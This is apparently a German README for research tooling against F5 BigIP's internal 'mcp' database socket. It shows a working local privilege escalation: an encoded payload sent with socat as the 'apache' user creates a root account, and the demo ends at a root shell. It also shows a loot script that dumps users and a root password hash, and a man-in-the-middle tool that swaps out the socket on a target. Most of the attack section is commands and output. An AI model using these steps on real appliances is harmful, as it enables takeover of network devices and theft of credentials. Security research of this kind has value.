
Eine Implementierung des `mcp`-Protokolls von F5, einschließlich MitM-Tools zum Abfangen von Datenverkehr während der Schwachstellensuche.
Das ist noch nicht wirklich fertig oder bereit, aber ich wollte den Code einchecken.
Dies implementiert im Wesentlichen F5s Datenbankprotokoll „mcp“, das über einen UNIX-Domain-Socket läuft. Das bedeutet, dass du eine Shell auf dem F5-Gerät benötigst, bevor du eines dieser Tools verwenden kannst. Normalerweise leitest du die Ausgabe eines Skripts mit socat an /var/run/mcp weiter und fütterst dann die Antwort in mcp-parser.rb ein. Weitere Details unten.
Eine kurze Übersicht der Skripte:
mcp-getloot.rb – Erzeugt eine Nachricht, die Benutzer und Variablen ausgibtmcp-privesc.rb – Erzeugt eine Nachricht, die ein Benutzerkonto anlegtmcp-parser.rb – Parst MCP-Nachrichten, die über stdin eintreffenmcp-mitm.rb – Belauscht MCP-Nachrichten auf einem Zielhost (erfordert passwortloses SSH zu root)mcp-builder.rb – Eine Bibliothek zum Erstellen von MCP-Nachrichten (du musst sie nicht direkt verwenden)mcp-generateobjects.rb – Ein Tool zum Erzeugen von mcp-objects.txt (das solltest du nicht benötigen)MCP ist eine proprietäre (AFAICT) Datenbank, die von F5 BigIP verwendet wird. Sie wird über /var/run/mcp angesprochen, einen UNIX-Domain-Socket mit 0777-Berechtigungen (d. h. jeder Benutzer kann darauf zugreifen).
Das Protokoll ist im TLV-Stil aufgebaut und besitzt eine ganze Reihe von Typen (über 41.000). Sie sind alle in mcp-objects.txt aufgelistet.
Ich habe einen Parser implementiert, den du in mcp-parser.rb findest, und in mcp-parser-tests.rb findest du eine Reihe verschiedener Nachrichten.
Außerdem habe ich einen Builder erstellt, mcp-builder.rb, auch wenn er nicht wirklich darauf ausgelegt ist, einfach verwendbar zu sein. Wir haben jedoch eine vordefinierte Funktion, die ein MCP-Paket erzeugt, das ein Benutzerkonto mit Root-Rechten anlegt – ziemlich cool. Mit mcp-privesc.rb kannst du dieses Paket erzeugen.
Um direkt mit MCP zu kommunizieren, verwendest du in der Regel socat. Der Code in mcp-builder.rb kann Pakete erzeugen, ist aber nicht dafür gedacht, direkt ausgeführt zu werden. Die Skripte, die du wahrscheinlich direkt verwenden möchtest, sind:
mcp-getloot.rb – um Benutzer und Konfigurationseinstellungen abzurufenmcp-privesc.rb – um ein neues Konto mit Root-Rechten hinzuzufügenmcp-parser.rb – um die Antwort zu parsen (über stdin)Um eines der Abfrageskripte zu verwenden, führe es aus und finde einen Weg, die Ausgabe an den UNIX-Socket auf dem Ziel zu senden. Hier ist ein Beispiel, in dem wir die Ausgabe von mcp-privesc.rb mit gzip + base64 kodieren:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
Dann können wir es in eine SSH-Sitzung auf dem Ziel einfügen, wo es an den UNIX-Socket gesendet wird (beachte, dass wir das als Nicht-Root-Benutzer tun, um zu zeigen, dass es möglich ist):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
Wir können die erhaltene Antwort auch mit mcp-parser.rb parsen:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
Du kannst das natürlich auch in einem einzigen Befehl erledigen; hier siehst du, wie du mcp-getloot.rb verwenden kannst:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
Ich habe auch ein Tool geschrieben, um Datenbankabfragen in Echtzeit zu überprüfen/zu protokollieren – mcp-mitm.rb. Dies ist kein Exploit, sondern nur ein Analysetool, das einen Root-Login erfordert. Es verschiebt /var/run/mcp und ersetzt es durch einen Socket, den wir kontrollieren, und parst dann alle Nachrichten, die darüber laufen.
So verwendest du es:
ssh root@<target> ohne Passwort oder sonstige Eingabe ausführen kannst (oder bearbeite den Code und deaktiviere DO_SETUP)Nahezu jeder mögliche „Schaden“ wird durch einen Neustart behoben, da der Socket beim Booten erstellt wird, aber das willst du wahrscheinlich nicht in der Produktion tun.
Wie auch immer, führe es ohne Argumente aus, um die Verwendung zu sehen, und trage dann die wichtigen IP-Adressen ein:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
Wenn du eine Weile wartest (oder etwas auf dem Server tust), siehst du Sitzungen:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Mit Strg-c beendest du es und reparierst den Socket:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
Und das war's!